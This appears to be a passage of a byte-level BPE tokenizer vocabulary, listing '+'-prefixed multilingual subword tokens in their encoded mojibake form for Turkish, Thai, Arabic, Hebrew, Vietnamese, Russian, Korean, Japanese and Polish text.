+Ġİstanbul +Ġà¸Īะ +à¸ķลาà¸Ķ +ĠبÙĬ +à¹ģà¸Ļะ +à¹ģà¸Ļะà¸Ļำ +ساعد +Ġبأ +Ġkiá»ĥm +ØŃسب +à¸Ĭัà¹īà¸Ļ +Ġ×ķ×¢×ķ×ĵ +овÑĭÑħ +оÑģнов +ĠtrÆ°á»Łng +צ×ij×¢ +ĠÃŃt +Ġkỹ +cré +Ñıм +êµ° +ãģĮãģªãģĦ +ÙĬÙĦØ© +ãĥķãĤ£ +رÙī +ĠÙĬجب +Ġ×IJ×£ +Ġcá»±c +ãĤīãĤĮãģŁ +Ġà¸ľà¸¹à¹ī +Ġà¸Ń +larımız +Ġkadın +Ġê·¸ëŀĺ +Ġê·¸ëŀĺìĦľ +ĠëĺIJëĬĶ +ĠÄijả +ĠÄijảm +Ġ×IJ×ķ×ŀר +Ġyếu +ciÄħ +ciÄħg +Ġtá»ij +Ġש×IJ׳×Ļ +ĠdziaÅĤa +Ñīа +ĠÄijÃłn +sına +ãģĵãĤĮãģ¯ +Ġ×ij׾×Ļ +Ġ×ij×Ļשר×IJ׾ +лоÑģÑĮ +Ġgiữ +ê°IJ +ÑĢон +تجار +глав +вин +Ġhạn +Ġyapılan +بس +Ġà¸ŀรà¹īà¸Ńม +ê´Ģ리 +mÄ±ÅŁtır +bü +rück +ĠBaÅŁkanı +ĠÙĦÙĬس +ĠsÆ¡ +à¸Īัà¸ĩหว +à¸Īัà¸ĩหวัà¸Ķ +داء +Ġ×Ķ׼ +vÃŃ +ש×IJר +ĠhÆ°á»Łng +Ġbóng +ĠChÃŃnh +Äħc +à¹Ģà¸ģีà¹Īยวà¸ģัà¸ļ +Ġtứ +Ġtức +ĠÑĨвеÑĤ +Ġtá»iji +ĠnghÄ©a +ÙĦاعب +دÙĦ +Ġפע×Ŀ +hör +à¸Ĭุà¸Ķ +à¸ŀู +à¸ŀูà¸Ķ +паÑģ +ĠÅŁu +ĠtÆ°á»Łng +خارج +Ġâm +ĠинÑĤеÑĢеÑģ +еннÑĭÑħ +×IJ׳×Ļ +بدأ +ëĿ¼ëĬĶ +ì¹´ +æĸ¹ãģĮ +лив +Ġà¸Ħà¸Ļ +ער×ļ +à¸Ĥà¸Ńà¸ĩà¸Ħุà¸ĵ +пад +Ġcạnh +ĠëĤ¨ +ĠÄijâu +Ġbiá»ĥu +ãĤĤãģĤãĤĭ +׾×Ĵ +Ġสำหรัà¸ļ +Ġxuá»ijng +ס×ķ +Ġذات +ĠÐľÐµ +عاÙĦÙħ +×IJס +بÙĬØ© +شا +ием +ĠNgưá»Ŀi +íĺij +Ñģлов +Ġпа +Ġmẫu +ĠпÑĢоÑĨеÑģÑģ +ĠNhÃł +пÑĢоиз +пÑĢоизвод +à¸łà¸²à¸¢à¹ĥà¸Ļ +Ġà¸ļาà¸Ĺ +×ŀ׳×ķ +ĠоÑĢган +רצ×ķ +×ķ×ŀ×Ļ×Ŀ +Ġyazı +Ġdù +ãĥ¬ãĥ³ +ÙĪÙĦÙĬ +ยู +Ġtrò +à¹Ģà¸ŀลà¸ĩ +Ġ×ŀ׾×IJ +à¸ķล +à¸ķลà¸Ńà¸Ķ +ĠÄijạt +Ġ×Ĺ×ĵש +póÅĤ +Ġ×ŀ×ĵ×Ļ +ujÄħc +×ŀ׳×Ķ׾ +Ġש×ij×ķ +Ġ×Ķ×ŀשפ×ĺ +Ġ×IJ׾×Ķ +ĠÙĪØ°ÙĦÙĥ +à¹Ģà¸ŀราะ +ĠÄijoÃłn +Ġíķ¨ê»ĺ +Ġdục +شت +Ġula +ĠulaÅŁ +Ġquý +Ġ×Ķ×Ĵ×ĵ×ķ׾ +à¸ķัà¹īà¸ĩà¹ģà¸ķà¹Ī +Ġשר +Ø´Ùĩد +׳ש×Ļ×Ŀ +à¸ŀล +رÙĪØ§ +ãĤĮãģ¦ +ĠниÑħ +Ġдела +ãģ§ãģįãģªãģĦ +ÅĤoż +×IJ×Ĺר +ì½Ķ +ãĤ¢ãĥĥãĥĹ +دÙ쨹 +Ġtiá»ĩn +Ġkhá»ı +Ġkhá»ıe +ĠاÙĦعاÙħØ© +ãģ«ãģĤãĤĭ +ĠÄijá»Ļc +족 +Ġcụ +йÑĤе +Ġзакон +ĠпÑĢоекÑĤ +ìĸ¸ +ÙĦØŃ +ĠçalÄ±ÅŁma +ãĤĴãģĻãĤĭ +Ñħи +عاد +Ġ׳×ŀצ×IJ +Ġר×Ļ +à¸Ńà¸Ńà¸ģมา +ĠTôi +Ġthần +ĠÙĬا +ลาย +ĠавÑĤо +Ġsıra +ĠÙĥØ«ÙĬر +ÙħÙĬز +ĠاÙĦعÙĦÙħ +æĸ¹ãģ¯ +×ķ×¢×ĵ +ĠоблаÑģÑĤи +×Ļ׾×Ļ×Ŀ +ãģĮåĩº +à¸ĺุ +à¸ĺุร +à¸ĺุรà¸ģิà¸Ī +ÙĤتÙĦ +ר×IJ×ķ +Ġngu +Ġnguá»ĵn +Ġมา +Ġплан +tório +Ġcuá»iji +Ñģком +ĠاÙĦÙħاض +ĠاÙĦÙħاضÙĬ +Ġ×ij×¢×ľ +Ġר×ij×Ļ×Ŀ +ĠluáºŃn +ÙĥÙĪ +à¸Ĺัà¹īà¸ĩหมà¸Ķ +ван +Ġthoại +à¹Ħà¸Ń +биÑĢ +ĠاÙĦض +تا +ĠÑĢод +ĠVÃł +×ŀ×Ļף +ĠбÑĭла +ками +ĠÐĶе +tık +קר×Ļ +ĠeÄŁitim +ĠÙĥبÙĬر +بÙĥ +ĠÙĦÙĪ +вой +Ġãģĵãģ® +ĠÑĤÑĢÑĥд +myÅĽl +Ġsư +à¸ŀีà¹Ī +Ġà¹ģลà¹īว +×¢×§ +Ġ×Ĺ×ijרת +ระหว +ระหวà¹Īาà¸ĩ +×Ļ×Ļ×Ķ +ĠاÙĦÙĨاس +ünü +Ġ׾×ŀ×Ķ +Ġchương +ĠHá»ĵ +ارت +ãĤĪãģĨãģ§ãģĻ +lá +×§×Ļ×Ļ×Ŀ +æľ¬å½ĵ +æľ¬å½ĵãģ« +ãģĵãĤĵãģª +Ñģов +Ġ×ķ×Ĺ +à¹Ģà¸ģà¹ĩà¸ļ +ĠкÑĤо +à¹Ĥรà¸Ħ +ĠشرÙĥØ© +عزÙĬ +عزÙĬز +Ø·ÙĦÙĤ +пÑĥÑģÑĤ +ÙģØªØŃ +ëŀĢ +Ġhãy +ضÙħ +린 +åł´åIJĪãģ¯ +ãĤªãĥ¼ +Ġhắn +Ġ×IJ×ij×Ļ×ij +Ġש׾×Ķ×Ŀ +Ġ×Ķ×Ļ×Ļת×Ķ +ĠاÙĦدÙĪÙĦØ© +ĠاÙĦÙĪÙĤ +ĠاÙĦÙĪÙĤت +ãģĤãģ¾ãĤĬ +ĠtaÅŁÄ± +İN +עסק +ãģ¦ãģĦãģŁ +Ġtá»ķng +ĠاÙĦØ¥ÙĨس +ĠاÙĦØ¥ÙĨساÙĨ +ÑĢеÑĪ +Ġgái +ĠÑĨен +ĠÙģÙĤد +Ùħات +ãģķãĤĵãģ® +Ġphù +×ĺ×Ķ +ĠÙĪØ§ÙĦتÙĬ +ĠبÙĥ +ìĿ´ëĤĺ +кÑģ +ÙħÙĬر +Ġvùng +ĠاÙĦشعب +ĠNhưng +ãĥĢãĥ¼ +Ġ×Ĺ×Ļ×Ļ×Ŀ +Ġشخص +×§×ķ×ĵ +ê²Ģ +עש +×¢×ķ׾×Ŀ +צ×ķר +عÙĤد +ĠiÅŁlem +Ġ×Ķ×ij×IJ +Ġdưỡng +à¸Łà¸£à¸µ +ĠphÃŃa +ãģ®ä¸Ńãģ§ +Ġпи +ĠngÃłnh +нима +ĠÙĩÙĦ +Ġ×ķ×IJת +ĠÄijáng +équipe +ĠÑįÑĤоÑĤ +Ġgörev +매 +Ġquân +å¼ķãģį +æĻĤãģ« +ĠبÙħا +×ŀ×Ļת +Ġülke +Ġ×ŀ×§×ķ×Ŀ +×ijף +æ°ĹæĮģãģ¡ +Ġë§İìĿĢ +Ġyüksek +ÑĨенÑĤÑĢ +ĠÙħجÙĦس +ç§ģãģ® +ÙĤدر +Ġë¶Ģë¶Ħ +Ġì°¨ +خرج +ãģĭãģªãĤĬ +ë³´ëĭ¤ +Ġ×ŀ×Ļ×ĵ×¢ +peÅĤni +Ġxá»Ń +ìĹIJìĦľëĬĶ +ĠباÙĦÙħ +ĠÙĪÙħا +ĠÑįÑĤой +بÙĬÙĨ +nü +ØŃز +ØŃزب +ĠÑĢабоÑĤа +ĠNháºŃt +ÙĦاء +Ġëĵ¤ +Ġëĵ¤ìĸ´ +ãĤĦãģĻãģĦ +×Ĺ×ĸ×§ +Ġ×Ķ×Ĺ×ijר×Ķ +пиÑĤ +ãģĭãĤīãģ® +Ġë§IJìĶĢ +Ġפ×ķ +ÙĦÙİ +à¹Ģà¸ķà¹ĩม +ĠÐļо +Ġmówi +ĠtÃŃn +ר×Ĵש +פרק +Ġtrạng +ĠÐŀн +×Ĺ×ķ×¥ +ĠعÙĨدÙħا +Ġبر +使ãģĦ +Ġrá»Ļng +ëĮĢë¡ľ +íά +Ġktórych +вид +ลูà¸ģà¸Ħà¹īา +ĠmogÄħ +Ġש×Ĺ +×ij×Ĺר +ãĥĸãĥŃãĤ° +ĠThÃłnh +Ġ×Ķר×Ļ +ĠÑģÑĤаÑĤÑĮ +ĠHá»Ļi +à¸ļà¹īาà¸ĩ +çī¹ãģ« +ĠÄIJức +èĢħãģ® +×¢×ŀ×ķ×ĵ +×ĺר×Ķ +Ð¥ +ĠÙħÙħا +ĠeÅŁ +ĠнеобÑħодимо +ников +Ġüzerinde +aÅĤa +Ġchá»ĭu +ĠاÙĦدÙĬÙĨ +أخبار +ĠÄijau +ãģĮå¤ļãģĦ +jÄħcych +دخÙĦ +larınd +larından +Ġsẻ +à¸ŀิà¹Ģศ +à¸ŀิà¹Ģศษ +×ª×Ł +tıģı +ĠluáºŃt +ĠÅŀe +ãĤ«ãĥ¼ +ãģ®ãģĤãĤĭ +Ġ×Ķ×IJתר +ĠاÙĦØ¢ÙĨ +ıldı +Ġáo +ĠнаÑĩал +Ġviá»ĩn +Ġ×ij×¢×ķ׾×Ŀ +знаÑĩ +×Ļ×ĺ×Ķ +кам +ĠÐĺз +à¹Ģà¸Ĥียà¸Ļ +à¸Ļà¹īà¸Ńà¸ĩ +ÑĤÑĢо +à¹Ģà¸Ł +Ġжизни +Ġสà¹Īวà¸Ļ +ĠváºŃn +Ġê´Ģ볨 +Ġlâu +ס×ĺר +קש +سÙĬر +Ġ×IJ×ķת×Ļ +Ġmôi +ائب +ĠоÑģÑĤа +Ġmón +Ġ×ij×ŀ×§×ķ×Ŀ +ĠداخÙĦ +Ġ×IJ×ķר +ĠваÑģ +ÙĥØ´Ùģ +ìĺ¨ +à¸ĸà¹Īาย +Ġkullanıl +Ġtô +ãģ«ãĤĪãĤĬ +ĠëĺIJíķľ +Ġ×¢×ij×ķ×ĵ×Ķ +Ġriê +Ġriêng +Ġyakın +زا +Å» +×IJ×ķ׼׾ +شارÙĥ +ĠбеÑģ +×´ +ĠابÙĨ +ĠTá»ķng +ÙĨظ +ÅĽwiad +ãĤµãĥ¼ +หาย +ĠGün +Ġhakkında +à¹Ģà¸Ĥà¹īามา +زÙĨ +ĠÐłÐ¾ +Ġbiá»ĥn +ãģ©ãģĵ +Ù쨹ÙĦ +زع +פר×ĺ +Ġ×Ķף +Ø£ÙĩÙĦ +Ġthất +ØŃÙħÙĦ +ÑĩÑĥ +ĠìĤ¬ìĭ¤ +ì°¸ +ĠìľĦíķ´ +ÙĪØ¸ +ĠÐŁÐ¾Ð´ +Ġkhoản +ÑĤен +ĠÙ쨧ÙĦ +Ñģад +à¸Ļà¸Ńà¸Ļ +ĠاÙĦسعÙĪØ¯ÙĬØ© +"ØĮ +ĠاÙĦÙĴ +ãĤīãģļ +Ġtoán +Ġchắc +׼×Ļר +méd +média +زÙĪ +Ġyanı +פ׳×Ļ×Ŀ +ØŃظ +ĠбеÑģп +ĠбеÑģплаÑĤ +ĠбеÑģплаÑĤно +ĠØ£ÙħاÙħ +à¸Ńาย +à¸Ńายุ +רשת +Ġgá»ĵ +Ġgá»ĵm +Ġuá»ijng +صب +kır +ãĥijãĥ¼ +Ġ׾×ĵעת +ĠкÑĥпиÑĤÑĮ +׾×ķ×Ĺ +ÙĪØ¶Ø¹ +ÙĤÙĬÙħ +à¸Ľà¸² +жив +à¸Ķิà¸Ļ +×IJ×ķפ +à¹Ģลà¹ĩà¸ģ +ãĥĥãĥī +иÑĩеÑģкиÑħ +ĠChá»§ +кÑĢаÑģ +ÙĪØµÙĦ +pÅĤat +моÑĢ +Ġ×Ķ×IJ×ķ +à¸Ńิà¸Ļ +ĠíķľêµŃ +гÑĢе +Ġìłľê³µ +ì°½ +Ġê°ľìĿ¸ìłķë³´ +Ġnghá»ĭ +à¸ĭา +ØŃساب +ĠbyÅĤa +ÙħÙĦÙĥ +иÑĩеÑģкие +Ġbác +ضØŃ +길 +ש×ŀ×¢ +Ġìĸ´ëĸ» +Ġìĸ´ëĸ»ê²Į +ìĽĮ +اتÙĩ +à¹Ĥรà¸ĩà¹ģ +à¹Ĥรà¸ĩà¹ģรม +خدÙħØ© +ĠÐłÐ° +׼×ķ׾×Ŀ +×ŀש×Ĺ×§ +ĠÙĪÙĥاÙĨ +ס×ķ×£ +ĠاÙĦØŃÙĥÙĪÙħØ© +Ġ×ij×ĺ +ĠtráºŃn +Ġ×Ķ×¢×ķ׾×Ŀ +ĠÃŃch +tÄħ +ש×ŀ×ķ +Ġ×Ķר×IJש×ķף +Ġíķĺê³ł +ãģķãĤī +ãģķãĤīãģ« +ãģ«ãģĹãģ¦ +Ġà¸ľà¸¡ +ãģ®ãĤĪãģĨãģª +ĠÙĪÙĤت +ãĥįãĥĥãĥĪ +ÙĦعب +ÙĪØ´ +ìĺ¬ +Ġหาà¸ģ +ĠmiaÅĤ +à¸Ĺà¸Ńà¸ĩ +иÑĤа +اصر +илÑģÑı +зе +à¸Ľà¸£à¸°à¸¡à¸²à¸ĵ +ãģĿãĤĮãģ¯ +Ġbır +Ġbırak +صÙĨاع +Ю +شعر +Ġ׳×Ĵ×ĵ +Ġبسبب +ãĥĿãĤ¤ +ãĥĿãĤ¤ãĥ³ãĥĪ +ĠاÙĦجÙĪ +ĠнеÑģколÑĮко +Ġkiếm +ÙģÙİ +Ġضد +×ij×Ļ×ĺ×ķ×Ĺ +تابع +ÙĨز +ĠBản +Ġaçıkl +Ġaçıklama +Ġà¸Ħุà¸ĵ +à¸Ĺา +ÅĤów +طب +ÙĨØŃÙĨ +Ġ×ŀ×§×ķר +Ġİs +Ġдома +Ġวัà¸Ļ +ĠdÃłnh +Ñıн +миÑĢ +Ġmô +ĠvÃłng +صاب +sının +à¸Ħืà¸Ļ +خبر +×ĸ׼×ķ +Ġ×ŀש×Ķ×ķ +mü +Ġкомпании +Ġ×Ķ×¢×Ļר +ĠÙĥÙĪ +ÙĤÙĦب +ĠlỼp +ики +׳×ij +à¹Ĥà¸Ħร +à¹Ĥà¸Ħรà¸ĩ +à¹Ĥà¸Ħรà¸ĩà¸ģาร +×ŀ×ķ×¢×ĵ +ÑıÑĤÑģÑı +หลัà¸ĩà¸Īาà¸ģ +ениÑİ +Ġשע +ĠbÆ°á»Ľc +ãĥ¡ãĥ¼ãĥ« +ãĤĦãĤĬ +Ġ×Ļ×ķ×ĵ×¢ +Ġê´Ģíķľ +ĠاÙĦØ£Ùħر +Ġbölge +ĠÑģвой +ÙĦس +Ġ×ŀ×Ļ×ķ×Ĺ×ĵ +ĠëĤ´ìļ© +ĠأجÙĦ +ĠÄIJông +Ġ×ŀ×ł×ª +Ġìĭľê°Ħ +ÙĥÙİ +ãģ¨ãģĦãģĨãģ®ãģ¯ +Ġnależy +تÙĨظÙĬÙħ +ĠÑģозда +Ġphé +Ġphép +ãģ§ãģįãģ¾ãģĻ +ĠعÙĦÙħ +大ãģįãģª +ãĤ²ãĥ¼ãĥł +íħĮ +Ġ׼×ķ׾׾ +ĠинÑĤеÑĢнеÑĤ +ĠTừ +ãģ¨ãģªãĤĭ +زاÙĦ +Ġktórym +Ġnhé +ìĪľ +нев +деÑĢ +ãĤ¢ãĥĹãĥª +iá»ĩu +×ij×Ļ׾ +Ġتس +ĠÄIJây +ĠاÙĦخاصة +Ġà¹Ģà¸Ĭ +Ġà¹Ģà¸Ĭà¹Īà¸Ļ +صاد +Ġdạng +سعر +Ġש×Ļ×ŀ×ķש +×Ĵ×Ļ×Ŀ +ãģĮãģĤãģ£ãģŁ +пÑĢов +пÑĢовод +Ġ×IJ×Ļ׳×ķ +Ġ׾ר×IJ +Ġ׾ר×IJ×ķת +ĠØ£Ù쨶ÙĦ +ĠØŃÙĦ +ĠأبÙĪ +ê°ķ +Ġì§ij +ãģ®ãĤĪãģĨãģ« +Ġפ׳×Ļ +ס×Ļ×Ŀ +ĠÙĪÙĩذا +Ġkaç +Ġéén +Ġê±´ +ë°Ķ +Ñĥз +à¸Ĥà¸Ńà¸ĩà¹Ģรา +iÅĤ +ĠÐľÑĭ +Ġchết +ĠاÙĦثاÙĨÙĬ +×IJ×§ +Ġ×ķ×¢×ľ +ĠاÙĦطب +×ij×ĺ×Ĺ +ĠجدÙĬدة +ĠعدÙħ +عز +สิà¹Īà¸ĩà¸Ĺีà¹Ī +ãģĻãĤĮãģ° +ĠÄijô +ì£ł +دÙĤ +номÑĥ +Ġká»ĥ +ãĤ¢ãĥ³ +å¤ļãģıãģ® +à¸Ľà¸£à¸°à¸ģ +à¸Ľà¸£à¸°à¸ģà¸Ńà¸ļ +פע×Ļ׾×ķת +ĠÑģÑĤол +mayı +ãģ¤ãģĦ +Ġyılında +Ġà¸Īึà¸ĩ +koÅĦcz +ĠThông +ĠакÑĤив +нÑģÑĤ +нÑģÑĤÑĢÑĥ +ĠÃĸz +Ġת×ŀ×Ļ×ĵ +ĠÙĥÙĨت +ÑģиÑģÑĤем +prés +présent +Ġnâ +Ġnâng +gÅĤos +ĠÙĪØ²ÙĬر +ØŃصÙĦ +ĠимееÑĤ +ØŃرÙĥØ© +à¸ŀà¹Īà¸Ń +ãĤĴãģĬ +ĠاستخداÙħ +×IJ×Ļר×ķ×¢ +ä»ĸãģ® +Ġש×Ķ×Ŀ +ãģĹãģŁãĤī +ש×ŀ×Ļ +Ñģла +mı +Ġbazı +Ġíķĺì§Ģë§Į +×ĵ׾ +Ġyaptıģı +ãĥĬãĥ¼ +׾×Ļ׾×Ķ +ãģ¨ãģĦãģ£ãģŁ +ändig +ĠÅŁa +ĠÙģÙĬÙħا +иÑĤелÑı +×ŀ×ķש +à¸Ĥà¸Ńà¸ļ +lük +Ġhá»ĵi +Ġëªħ +ĠاÙĦÙĥØ«ÙĬر +צ×IJ +Ġhazır +طرÙģ +اÙĬا +ĠÄijôi +енд +ÙĦغ +×Ĺ×ĸ×ķר +ĠвÑģег +ĠвÑģегда +ëIJĺê³ł +×ĵ×ķ×ĵ +ана +دÙĪÙĦØ© +Ġhoạch +عÙĦا +عÙĦاج +Ġ×ķ×¢×ĵ +×Ķ×Ŀ +кий +ÙĦÙIJ +Ġ×¢×ľ×Ļ×ķ +ÑİÑīий +Ġngá»§ +صÙĨع +ĠاÙĦعراÙĤ +à¸ķà¹Īà¸Ńà¹Ħà¸Ľ +ãģŁãģıãģķãĤĵ +Ġphạm +ÙĦاÙĨ +اتÙĩا +Ġböyle +تÙĨÙģÙĬ +تÙĨÙģÙĬذ +Ġש×Ķ×Ļ×IJ +ÑģÑĥ +ยาว +Ġש×ķ׳×Ļ×Ŀ +Ġ×ŀ×ķ׾ +ĠÑģил +Ġ×IJ×Ĺר×Ļ×Ŀ +Ġphá»§ +ÙĤطع +ĠThá»§ +à¸Ľà¸£à¸°à¹Ģà¸Ĺศà¹Ħà¸Ĺย +ÙĨÙĤ +ĠÄijoạn +Ġبإ +пÑĢедел +×ķת×ķ +Ġyarı +пÑĢе +ĠczÄĻÅĽci +ØŃÙĥÙħ +×ķ׳×Ļת +×¤×¢×ľ +ãĤĴãģĹãģ¦ +Ġktórzy +׾×Ŀ +ĠÄIJiá»ģu +ĠкоÑĤоÑĢаÑı +ĠìĿ´ìĥģ +ãģĤãģ£ãģŁ +Ġ×ŀ×ĵ×ķ×ijר +פ×ķ×¢×ľ +dım +éĢļãĤĬ +ĠбÑĥдÑĥÑĤ +à¹Ģวà¹ĩà¸ļà¹Ħà¸ĭ +à¹Ģวà¹ĩà¸ļà¹Ħà¸ĭà¸ķà¹Į +اخر +×Ĺ×Ļ׾ +Ġ×Ļ׾ +Ġ×Ļ׾×ĵ×Ļ×Ŀ +×Ĺ×Ļפ +×Ĺ×Ļפ×ķש +Ġdòng +Ġש×ĸ×Ķ +ÑĮе +ãģĤãģ¨ +ìŀIJê°Ģ +×IJ×ĵ +Ġüz +Ġüzere +ظÙĦ +Ġ×IJ×ķ׾×Ļ +Ġ×ij×Ļ×ķ×Ŀ +ÙĦات +Ġmê +침 +تØŃد +تØŃدث +Ġخاصة +ĠبرÙĨ +ĠبرÙĨاÙħج +ĠHÃłn +×Ĺס +ĠÙĪÙĦÙħ +×¢×Ŀ +Ġmı +à¸Łà¸±à¸ĩ +שע×Ķ +ÙĪÙģÙĤ +ס×ij×Ļר +алÑĮнÑĭй +×Ĺש×ķ×ij +ĠnÃłng +ë³¼ +ĠкоÑĤоÑĢÑĭÑħ +Ġ×Ĺ×ķ×§ +tör +ĠлÑĥÑĩÑĪе +ãĥijãĥ³ +ลà¹Īาสุà¸Ķ +ĠجدÙĬد +ÙĬدة +à¸Ĺรà¸ĩ +ãĤĪãĤĬãĤĤ +ÙĦÙĦ +ãĤĤãģ£ãģ¨ +ש×ĺ×Ĺ +Ġ×ķ×IJ×Ļ +Ġgiá»ijng +إضاÙģ +קת +ë§Ŀ +ĠzostaÅĤ +ÑĢоз +×Ļפ×Ļ×Ŀ +Ġ׼׾׾ +ת×ķ׼ף +dıģını +ÙĤسÙħ +ĠÑģÑĩиÑĤ +ĠÑģÑĩиÑĤа +×ĺ×ķת +Ġưu +ĠØ¢ÙĦ +Ġмом +ĠмоменÑĤ +ĠاÙĦتعÙĦÙĬÙħ +×¢×ľ×ķת +Ġchữa +Ġyön +ĠtrÃł +ĠØŃÙĬÙĨ +à¸ĭั +ĠCá +×¢×ĸ +ĠاÙĦØ£ÙħÙĨ +cÃŃ +Ġvá»ijn +Ġà¸Ļาย +обÑĢа +×§×IJ +Ġthiếu +ãĥŀãĥ¼ +สวà¸Ļ +Ġgá»Ń +Ġgá»Ńi +Ġê¹ +Ġê¹Ģ +Ġthiá»ĩn +ÙĤع +wÄĻ +Ġнам +ÑĤол +Ġsân +ס×ķ×Ĵ +Ġgeçir +ÑĤон +ева +ĠÙĪØ¶Ø¹ +Ġعشر +Ñģло +à¸Īัà¸ļ +ãĤ·ãĥ¼ +ãĤĤãģĤãĤĬãģ¾ãģĻ +Ġvẻ +ĠÄIJá»ĥ +رÙ쨹 +ĠاÙĦØ£ÙĪÙĦÙī +ÑĤаÑĢ +ãģªãģıãģ¦ +ÙħÙİ +quÃŃ +×¢×ł×Ļ×Ļ׳ +ген +Ġhôm +à¸Īา +ĠnhỼ +ĠاÙĦعربÙĬ +×IJף +Ġlá»Ļ +ĠjeÅĽli +à¹Ģà¸Ĺà¹Īาà¸Ļัà¹īà¸Ļ +ĠØ£ÙĨÙĩا +Ġtuy +Ġtuyá»ĩt +Ġتص +ĠتصÙĨÙĬ +ĠتصÙĨÙĬÙģ +Ġê·¸ëŁ¬ëĤĺ +оÑĨен +à¸ģิà¸Īà¸ģรรม +ãĤĦãģ£ãģ¦ +Ġkhá»ıi +Ġlá»ĩ +ĠاÙĦÙħجتÙħع +à¸Ńาà¸Īà¸Īะ +à¸Īะà¹Ģà¸Ľà¹ĩà¸Ļ +овÑĭй +ר×Ŀ +รà¹īà¸Ńà¸Ļ +ש×ŀש +人ãģ« +Ġüzerine +פר×Ļ +duÄŁu +Ñĩик +Ġmùa +Ġ×ŀת×ķ×ļ +ĠcáºŃp +ĠتارÙĬØ® +×ij×ľ×ª×Ļ +Ġì¢Ģ +ÙĦع +باÙĨ +Ġchút +Ġ×Ķ×ĸ×ŀף +née +ĠLiên +ĠÙĦÙĦØ£ +ØŃدÙĪØ¯ +Ġ×¢×Ľ×©×Ļ×ķ +воз +Ġyaptı +Ġобо +à¹ĥหà¹īà¸ģัà¸ļ +Ġ×ij×Ķ×Ŀ +ãģıãģ¦ +رأس +ĠÑģÑĢедÑģÑĤв +ĠBÃłi +ãģĵãģ¨ãģ« +ĠìĤ¬íļĮ +Ġ모ëijIJ +×ij×IJ +Ġtrắng +ĠاÙĦبÙĦد +ĠHoÃłng +либо +ĠдÑĢÑĥгиÑħ +İR +Ñĥма +ĠJeÅĽli +ãĤĤãģĹ +Ġvòng +Ġ×IJתר×Ļ×Ŀ +ĠÄijá»įc +ĠвоÑĤ +ãģłãģĮ +ë°° +à¸Ķูà¹ģล +Ġ×ŀ׼׾ +ìĹIJëıĦ +газ +Ġ׳×ķספ×Ļ×Ŀ +ãģĵãģ¨ãģ§ +ĠتÙĪ +ãģ§ãģĤãĤĬ +à¸Ļัà¹Īà¸ĩ +ĠможеÑĤе +szÄĻ +ãģ®ãģł +ĠÙħÙĨÙĩ +Ġbá»ķ +Ġbüt +Ġbütün +ë³´ê³ł +Ġchá»ĵng +à¹ģà¸Īà¹īà¸ĩ +ĠVì +ĠØŃر +Ġgiản +ĠÙħدÙĬÙĨØ© +تطبÙĬÙĤ +à¸Īิ +æĹ¥ãģ® +бил +à¸ģà¸Ńà¸ĩ +ê³³ +ĠØ£Ùħا +ìĨIJ +Ġtrái +ĠвÑģем +ĠسÙĨØ© +ĠÑģайÑĤ +ĠгоÑĤов +пÑĭ +ĠëIJł +ĠاÙĦخط +ĠاÙĦرئÙĬسÙĬØ© +Ġíķ©ëĭĪëĭ¤ +ĠìķĦëĭĪëĿ¼ +ĠìĿ´ëłĩ +ĠìĿ´ëłĩê²Į +)ØĮ +hält +ĠØ£Ùħر +ĠعÙħر +à¸ģà¹ĩà¸Īะ +Ġà¸Ĺำà¹ĥหà¹ī +Ġcân +Ġ×ij׾ +Ġ×ij׾×ij×ĵ +פסק +ĠÙĬÙĤÙĪÙĦ +нÑĥÑĤÑĮ +à¹ģà¸Ħ +Ġקצת +Ġnằm +Ġhòa +bilitÃł +ĠìĹĨëĭ¤ +Ġ׼פ×Ļ +ÑĢож +лага +Ġ×Ķש×Ļ +ĠNgoÃłi +ĠÙĪØ¬ +ĠÙĪØ¬ÙĪØ¯ +ĠìľĦíķľ +ĠusÅĤug +Ġtuần +dź +×ŀ×ķף +ĠاÙĦعدÙĬد +Ġchẳng +สุà¸Ĥà¸łà¸²à¸ŀ +Ġ×ij×ĵר×ļ +ĠÑģебе +ĠìŀĪìĿĦ +ĠاÙĦØŃاÙĦ +Ġdá +Ġcưá»Ŀi +Ġnghiên +ieÅĦ +ĠDương +ï¼ħ +شد +ãģĦãģ¤ãĤĤ +ĠвÑĭбоÑĢ +Ġcá»Ļng +ש×Ļ׳×ķ×Ļ +Ġchạy +Ġ×ij×¢×ľ×Ļ +اخبار +íķĺë©° +żÄħ +جاز +Ġ׳ר×IJ×Ķ +ศู +ศูà¸Ļ +ศูà¸Ļยà¹Į +×Ĵ×¢ +Ġ×¢×ĵ×Ļ +Ġ×¢×ĵ×Ļ×Ļף +برا +ÑĨий +ĠÄIJá»ĵng +ÙĤاÙĨÙĪÙĨ +ĠÄijứng +ãģĹãģŁãĤĬ +Ġ×Ĺ×Ļ×Ļ +ĠëIJľ +ĠëIJľëĭ¤ +ĠмеждÑĥ +à¸ŀวà¸ģà¹Ģà¸Ĥา +ĠBắc +ลำ +ë°± +ĠíĻķ +มาà¸ģม +มาà¸ģมาย +банк +à¸Ńาà¸ģาร +ĠhÃł +Ġ׾׳ +à¸Ńà¸Ń +Ġë°Ķë¡ľ +лом +mática +ĠØŃد +ابت +à¸Ĺีà¹Īà¸Ļีà¹Ī +ĠcoÅĽ +ÙģÙĬدÙĬ +ÙģÙĬدÙĬÙĪ +ĠмеÑģÑĤо +Ġphút +มาà¸ģà¸ģวà¹Īา +×IJפ +بÙIJ +ĠPhú +ì±Ħ +ĠÙĪØ³ÙĦÙħ +à¸Īีà¸Ļ +поÑĤÑĢеб +Ġ×Ĺ×ĵש×ķת +Ø´ÙĪ +Ġעצ×ŀ×ķ +ĠعÙħÙĦÙĬØ© +à¸Ħุà¸ĵà¸łà¸²à¸ŀ +ãģ¾ãģĻãģĮ +دعÙĪ +طرÙĤ +à¹Ħมà¹Īà¸ķà¹īà¸Ńà¸ĩ +ë²Ķ +ìĬ¹ +ĠkÃŃch +ĠìĹĨëĬĶ +ĠÑĤам +ĠÙĨØŃÙĪ +ĠاÙĦÙĤاÙĨÙĪÙĨ +×Ĺ×ķ×Ŀ +Ġkız +Ġ×ĵ×Ļף +ĠвÑĢемени +ãģ£ãģŁãĤĬ +ĠØ´Ùĩر +ĠìĦľë¹ĦìĬ¤ +עש×Ķ +Ġgiác +ĠاÙĦسÙĦاÙħ +Ġ×IJש +ĠполÑĥÑĩа +à¸Īัà¸Ķà¸ģาร +коÑĢ +Ġ×Ķ×ĺ×ķ×ij +รายà¸ģาร +주ìĿĺ +à¹ģà¸ķà¹Īละ +Ġê·¸ëŁ°ëį° +à¸Ĺีà¹Īà¹Ģà¸Ľà¹ĩà¸Ļ +Ġת×ķ×ļ +بÙĬاÙĨ +ÐĻ +oÅĽciÄħ +ÑĤок +ĠÃĶ +ĠÃĶng +à¹Ħมà¹Īà¹ĥà¸Ĭà¹Ī 